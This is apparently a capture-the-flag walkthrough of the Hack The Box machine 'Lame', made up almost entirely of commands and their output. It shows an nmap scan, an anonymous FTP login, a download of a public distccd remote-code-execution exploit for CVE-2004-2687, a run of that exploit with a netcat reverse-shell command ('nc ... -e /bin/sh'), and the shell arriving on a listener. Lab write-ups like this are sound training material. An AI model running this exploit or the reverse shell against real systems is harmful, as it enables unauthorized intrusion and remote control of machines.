1. ping 10.10.10.3

PING 10.10.10.3 (10.10.10.3) 56(84) bytes of data.

64 bytes from 10.10.10.3: icmp\_seq=1 ttl=63 time=246 ms

64 bytes from 10.10.10.3: icmp\_seq=2 ttl=63 time=223 ms

Ttl 63 means unix box.

1. nmap -A -Pn -p- 10.10.10.3 --min-rate 10000

Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.

Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-24 13:04 EDT

Nmap scan report for 10.10.10.3

Host is up (0.23s latency).

Not shown: 65530 filtered ports

PORT STATE SERVICE VERSION

21/tcp open ftp vsftpd 2.3.4

|\_ftp-anon: Anonymous FTP login allowed (FTP code 230)

| ftp-syst:

| STAT:

| FTP server status:

| Connected to 10.10.14.79

| Logged in as ftp

| TYPE: ASCII

| No session bandwidth limit

| Session timeout in seconds is 300

| Control connection is plain text

| Data connections will be plain text

| vsFTPd 2.3.4 - secure, fast, stable

|\_End of status

22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)

| ssh-hostkey:

| 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)

|\_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)

139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)

3632/tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))

Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port

Aggressive OS guesses: DD-WRT v24-sp1 (Linux 2.4.36) (92%), OpenWrt White Russian 0.9 (Linux 2.4.30) (92%), Linux 2.6.23 (92%), Belkin N300 WAP (Linux 2.6.30) (92%), Control4 HC-300 home controller (92%), D-Link DAP-1522 WAP, or Xerox WorkCentre Pro 245 or 6556 printer (92%), Dell Integrated Remote Access Controller (iDRAC6) (92%), Linksys WET54GS5 WAP, Tranzeo TR-CPQ-19f WAP, or Xerox WorkCentre Pro 265 printer (92%), Linux 2.4.21 - 2.4.31 (likely embedded) (92%), Citrix XenServer 5.5 (Linux 2.6.18) (92%)

No exact OS matches for host (test conditions non-ideal).

Network Distance: 2 hops

Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux\_kernel

Host script results:

|\_clock-skew: mean: 2h00m52s, deviation: 2h49m45s, median: 49s

| smb-os-discovery:

| OS: Unix (Samba 3.0.20-Debian)

| Computer name: lame

| NetBIOS computer name:

| Domain name: hackthebox.gr

| FQDN: lame.hackthebox.gr

|\_ System time: 2021-04-24T13:06:14-04:00

| smb-security-mode:

| account\_used: guest

| authentication\_level: user

| challenge\_response: supported

|\_ message\_signing: disabled (dangerous, but default)

|\_smb2-time: Protocol negotiation failed (SMB2)

TRACEROUTE (using port 22/tcp)

HOP RTT ADDRESS

1 232.49 ms 10.10.14.1

2 232.45 ms 10.10.10.3

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 87.40 seconds

1. ftp 10.10.10.3

Connected to 10.10.10.3.

220 (vsFTPd 2.3.4)

Name (10.10.10.3:root): anonymous

331 Please specify the password.

Password:

230 Login successful.

Remote system type is UNIX.

Using binary mode to transfer files.

ftp> ls

200 PORT command successful. Consider using PASV.

150 Here comes the directory listing.

226 Directory send OK.

ftp> dir

200 PORT command successful. Consider using PASV.

150 Here comes the directory listing.

226 Directory send OK.

ftp> ls -lrt

200 PORT command successful. Consider using PASV.

150 Here comes the directory listing.

226 Directory send OK.

ftp> ll

?Invalid command

ftp> ls

200 PORT command successful. Consider using PASV.

150 Here comes the directory listing.

226 Directory send OK.

ftp> exit

221 Goodbye.

1. Search for disccd\_exploit
2. wget <https://gist.githubusercontent.com/DarkCoderSc/4dbf6229a93e75c3bdf6b467e67a9855/raw/48ab4eb0bd69cac67bc97fbe182e39e5ded99f9f/distccd_rce_CVE-2004-2687.py>
3. python distccd\_rce\_CVE-2004-2687.py -t 10.10.10.3 -p 3632 -c "nc 10.10.14.79 1234 -e /bin/sh"

[OK] Connected to remote service

--- BEGIN BUFFER ---

(UNKNOWN) [10.10.14.79] 1234 (?) : Connection refused

--- END BUFFER ---

[OK] Done.

1. nc -nlvp 1234

listening on [any] 1234 ...

connect to [10.10.14.79] from (UNKNOWN) [10.10.10.3] 36065

whoami

daemon

ls

5536.jsvc\_up

distcc\_5f6f6a3b.stderr

distcc\_5f6f6a3b.stdout

distccd\_5f6f6a3b.i

distccd\_5f6f6a3b.o

vgauthsvclog.txt.0

vmware-root

ifconfig

eth0 Link encap:Ethernet HWaddr 00:50:56:b9:f6:79

inet addr:10.10.10.3 Bcast:10.10.10.255 Mask:255.255.255.0

inet6 addr: dead:beef::250:56ff:feb9:f679/64 Scope:Global

inet6 addr: fe80::250:56ff:feb9:f679/64 Scope:Link

UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1

RX packets:286498 errors:0 dropped:0 overruns:0 frame:0

TX packets:20129 errors:0 dropped:0 overruns:0 carrier:0

collisions:0 txqueuelen:1000

RX bytes:19228540 (18.3 MB) TX bytes:3050228 (2.9 MB)

Interrupt:19 Base address:0x2024

Link encap:Local Loopback

inet addr:127.0.0.1 Mask:255.0.0.0

inet6 addr: ::1/128 Scope:Host

UP LOOPBACK RUNNING MTU:16436 Metric:1

RX packets:1064 errors:0 dropped:0 overruns:0 frame:0

TX packets:1064 errors:0 dropped:0 overruns:0 carrier:0

collisions:0 txqueuelen:0

RX bytes:505813 (493.9 KB) TX bytes:505813 (493.9 KB)